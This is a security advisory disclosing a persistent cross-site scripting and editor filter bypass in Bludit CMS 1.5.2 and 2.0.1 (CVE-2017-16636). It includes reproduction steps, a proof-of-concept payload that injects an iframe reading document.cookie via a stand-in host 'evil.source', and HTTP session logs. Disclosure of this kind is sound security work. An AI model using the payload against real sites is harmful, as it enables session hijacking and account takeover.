Document Title:
===============
Bludit 1.5.2 & 2.0.1 - Filter Bypass & Cross Site Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2000

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-16636

CVE-ID:
=======
CVE-2017-16636


Release Date:
=============
2017-10-30


Vulnerability Laboratory ID (VL-ID):
====================================
2000


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Bludit is a simple web application to make your own site or blog in seconds, it's completly free and open source. 
Bludit uses flat-files (text files in JSON format) to store the posts and pages, you don't need to install or configure 
a database. You only need a web server with PHP support.

(Copy of the Homepage: https://www.bludit.com/en/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a filter bypass vulnerability in the official Bludit v1.5.2 & v2.0.1 content management system.


Vulnerability Disclosure Timeline:
==================================
2017-10-30:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Bludit
Product: Bludit - Content Management System (Web-Application) 1.5.2

Bludit
Product: Bludit - Content Management System (Web-Application) 2.0.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site scripting web vulnerability and a filter bypass issue has been discovered in the official Bludit v1.5.2 CMS.
The vulnerability allows remote attackers to inject own malicious script code on the application-side of affected web modules 
or service function. The filter bypass issue allows to evade the filter controls to trigger an execution of a payload.

The vulnerability is located in the new page, new category and edit post function body message context. Remote attackers are able 
to bypass the basic editor validation to trigger a cross site scripting vulnerability. The attack vector of the issue is persistent 
and the request method to inject via editor is GET. To save the editor context the followup post method request must be processed 
to perform the attack via application-side.

The basic validation of the editor does not allow to inject script codes and blocks the context. Attackers can inject the code 
by usage of the editor tag which are not recognized by the basic validation. Thus allows a restricted user account to inject 
malicious script code to perform a persistent attack against higher privilege web-application user accounts. 

Exploitation of the web vulnerability requires low privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in persistent phishing attacks, session hijacking, persistent 
external redirect to malicious sources and persistent manipulation of affected or connected web module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Editor - (New Page & Edit Post)
[+] New Category - (Input Fields)


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with low privileged user account and with low user interaction.
For security demonstration or to reproduce follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the page web-application
2. Move to the edit-post, edit-category or new-page module
Note: Now the editor will appear
3. Include the payload to the body message input or as name value to the category input field
Note: The payload requires the tags used for the format to bypass the basic validation
4. Save or preview the post to trigger the execution point
5. Successful reproduce of the filter bypass vulnerability!


Edit Post, Edit Category & New Page (Editor)
https://bludit.localhost:8000/./edit-post/
https://bludit.localhost:8000/./new-page/
https://bludit.localhost:8000/website/admin/new-category


PoC: Exploitation (comment_name)
([!http](http://>"<img src="evil.source">)://>"<iframe src=evil.source onload=alert(document.cookie)>)]


--- PoC Session Logs [POST] ---
Status: 200[OK]
GET https://bludit.localhost:8000/bl-content/uploads/[![]([MALICIOUS PAYLOAD] 
Mime Type[text/html]
   Request Header:
      Host[bludit.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Referer[https://bludit.localhost:8000/admin/edit-post/img20img-srcx]
      Cookie[BLUDIT-KEY=...780...dc5...]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.15 (Red Hat)]
      Content-Length[4185]
      Content-Type[text/html; charset=UTF-8]
      Keep-Alive[timeout=15, max=100]
      Connection[Keep-Alive]
-
Status: 302[Found]
GET https://bludit.localhost:8000/admin/edit-post/evil.source[PAYLOAD EXECUTION POINT!] 
Mime Type[text/html]
   Request Header:
      Host[bludit.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Referer[https://bludit.localhost:8000/admin/edit-post/img20img-srcx]
      Cookie[BLUDIT-KEY=...780...dc5...]
      Connection[keep-alive]
      Cache-Control[max-age=0]
   Response Header:
      Server[Apache/2.2.15 (Red Hat)]
      Location[/admin/manage-posts]
      Content-Type[text/html; charset=UTF-8]
      Keep-Alive[timeout=15, max=100]
      Connection[Keep-Alive]
-
Status: 302[Found]
GET https://bludit.localhost:8000/admin/edit-post/evil.source[PAYLOAD EXECUTION POINT!]
Mime Type[text/html]
   Request Header:
      Host[bludit.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[https://bludit.localhost:8000/admin/edit-post/img20img-srcx]
      Cookie[BLUDIT-KEY=...780...dc5...]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache/2.2.15 (Red Hat)]
      Location[/admin/manage-posts]
      Connection[Keep-Alive]
-
Status: 200[OK]
GET https://bludit.localhost:8000/website/admin/evil.source[PAYLOAD EXECUTION POINT!] 
Mime Type[text/html]
   Request Header:
      Host[bludit.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Referer[https://bludit.localhost:8000/website-story/admin/categories]
      Cookie[BLUDIT-KEY=...780...dc5...]
      Connection[keep-alive]
   Response Header:
      Server[nginx]
      Content-Type[text/html; charset=UTF-8]
      Connection[keep-alive]
      Strict-Transport-Security[max-age=31557600; includeSubDomains]


Reference(s):
https://bludit.localhost:8000/
https://bludit.localhost:8000/bl-content/
https://bludit.localhost:8000/bl-content/uploads/
https://bludit.localhost:8000/admin/
https://bludit.localhost:8000/admin/edit-post/
https://bludit.localhost:8000/website/admin/new-category


Security Risk:
==============
The security risk of the filter bypass and cross site scripting web vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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